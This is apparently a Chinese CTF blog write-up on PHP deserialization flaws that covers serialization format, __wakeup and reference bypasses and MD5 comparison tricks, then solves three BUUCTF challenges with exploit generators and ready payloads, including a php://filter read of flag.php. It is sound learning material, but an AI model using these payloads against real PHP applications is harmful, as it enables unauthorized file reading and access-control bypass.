反序列号漏洞学习!BUUCTF 极客PHP BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz

1.简单讲,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化

2.序列化的格式

 

•a表示array(数组),2表示数组有2个元素

•s:5:”baidu”表示第一个元素的下标,长度为5的字符串

•s:13表示第一个元素的值,长度为13的字符串

•i:10表示值为10的整数

•序列化时,只保存成员变量,不保存方法

格式说明:

•O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量

•大括号里面是3个成员变量的信息

•public成员变量的名字直接写就行

•protected成员变量的名字前需要加%00*%00

•private成员变量的名字前需要加%00类名%00

Magic 方法:

•__construct 当一个对象创建时被调用

•__destruct 当一个对象销毁时被调用

•__toString 当一个对象被当作一个字符串使用

•__wakeup 在对象被反序列化之前被调用

常见绕过方法:

1)__wakeup:

•影响版本:PHP before 5.6.25、7.x before 7.0.10

•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

2)引用绕过:

•$a->var2=&$a->var1,指定var2是var1的引用,所以这两个的值完全一样,(类似c语言里面的指针$a->var2 和 $a->var1 指向同一片内存)

BUUCTF 练习:

1) PHP极客大挑战

尝试了半天,看页面源代码也没找到踪迹,尝试爆破。

得到源码,index.php中

传入参数select,然后反序列化

<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
​
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
​
            
        }
    }
}
?>

代码审计我们需要令$username="admin" 和 $password =100并且绕过 __wakeup magic方法,防止$username 变为 "guest",绕过wakeup 只需要在 序列化对象属性数量的位置改为大于原本类的对象属性数量.

有不可见字符,我们需要给他再urlencode一下,

将O:4:"Name":2: .......(省略后面的代码) ,2改为3再urlencode

payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D%0A

2)BUU CODE REVIEW 1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

代码审计:

需要$correct===$input,

但是由于$this->correct = base64_encode(uniqid()); 这一条命令,每次correct 都会随机生产一个字符,我们令input和correct指向同一片内存地址,方可绕过

这里用到了MD5绕过

1、MD5弱比较“==”绕过

        方法一:利用md5()函数的漏洞绕过

即使用数组绕过的方法: 由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。 所以上传

/?a[]=1&b[]=2

就可绕过 方法二:利用“==”比较漏洞绕过 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 下列的字符串的MD5值都是0e开头的:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a 

2、MD5强比较“===”绕过

此时只能用数组绕过的方法。

<?php
​
​
class BUU {
   public $correct = "";
   public $input = "";
​
}
​
$a = new BUU;
$a->input = &$a->correct;
$str = serialize($a);
echo $str;
?>
payload:
GET方法:pleaseget=1
POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

3)[网鼎杯 2020 青龙组]AreUSerialz

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
​
}

代码审计后:

1)发现is_valid只允许我们输入ascill值在32-125之间的符号,即可以打印出来的符号

protected $op;
protected $filename;
protected $content;

接着发现 因为以上三个变量前面带着protected修饰词,如果序列化后将在变量前面加上%00*%00不在32-125间将会过不了这个函数(is_valid return false),即不能触发$obj = unserialize($str) 。

对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public

2)我们最终目的是拿到flag.php里面的内容,所以我们要进入read函数里面,即把op=2(进入read函数),绕过op=1(会先进入write函数),然后$filename = "flag.php"

<?php
​
​
​
class FileHandler {
​
    public $op = 2;
    public $filename="flag.php";
    public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
​
?>
  
  #序列化后的字符串为以下,试试这个payload
#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
 
  
 

可以看到已经读到flag.php的内容

我们也可以在结合LFI漏洞中运用的php伪协议在尝试尝试,

<?php
​
​
​
class FileHandler {
​
    public $op = 2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
                     
    public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
​
?>
#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

第一次写博客,写得哪里不好请谅解.。

猜你喜欢

转载自blog.csdn.net/qq_58869808/article/details/125991530